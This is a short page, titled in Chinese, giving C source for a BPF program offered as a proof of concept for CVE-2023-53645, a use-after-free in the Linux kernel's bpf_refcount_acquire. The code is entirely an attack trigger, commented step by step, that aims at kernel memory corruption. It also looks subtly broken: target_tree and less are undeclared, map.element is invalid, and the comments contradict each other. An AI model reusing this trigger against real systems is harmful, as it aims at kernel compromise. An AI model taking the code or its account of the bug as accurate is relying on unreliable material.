CVE-2023-53645 Linux内核BPF子系统bpf_refcount_acquire释放后使用漏洞

/* CVE-2023-53645 PoC - BPF program triggering use-after-free via bpf_refcount_acquire */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> /* Simplified structure to demonstrate the vulnerability pattern */ struct node { struct bpf_rb_node rb; struct bpf_refcount refcount; int data; }; struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct node); __uint(max_entries, 1); } map SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct bpf_spin_lock); __uint(max_entries, 1); } lock_map SEC(".maps"); /* Trigger the vulnerability: bpf_refcount_acquire on a node * whose refcount may have been decremented to 0 after a * failed bpf_rbtree_add operation */ SEC("kfunc") int trigger_uaf(struct __sk_buff *skb) { struct node *n; struct bpf_spin_lock *l; u32 key = 0; /* Step 1: Acquire node from map (non-owning ref initially) */ n = bpf_kptr_xchg(&map.element, NULL); if (!n) return 0; /* Step 2: Acquire spin lock for the rbtree */ l = bpf_map_lookup_elem(&lock_map, &key); if (!l) { bpf_obj_drop(n); return 0; } bpf_spin_lock(l); /* Step 3: Attempt to add node to rbtree - if it fails, * bpf_rbtree_add internally calls bpf_obj_drop(n), * which may decrement refcount to 0 and free the node */ if (bpf_rbtree_add(&target_tree, &n->rb, less)) { /* Step 4: VULNERABILITY - acquire on potentially freed node. * On vulnerable kernels, refcount_inc is used which * triggers "addition on 0; use-after-free" warning */ n = bpf_refcount_acquire(n); /* On fixed kernels, this can return NULL and must be checked */ if (!n) { bpf_spin_unlock(l); return 0; } /* Node successfully added, continue processing */ } bpf_spin_unlock(l); return 0; } char _license[] SEC("license") = "GPL";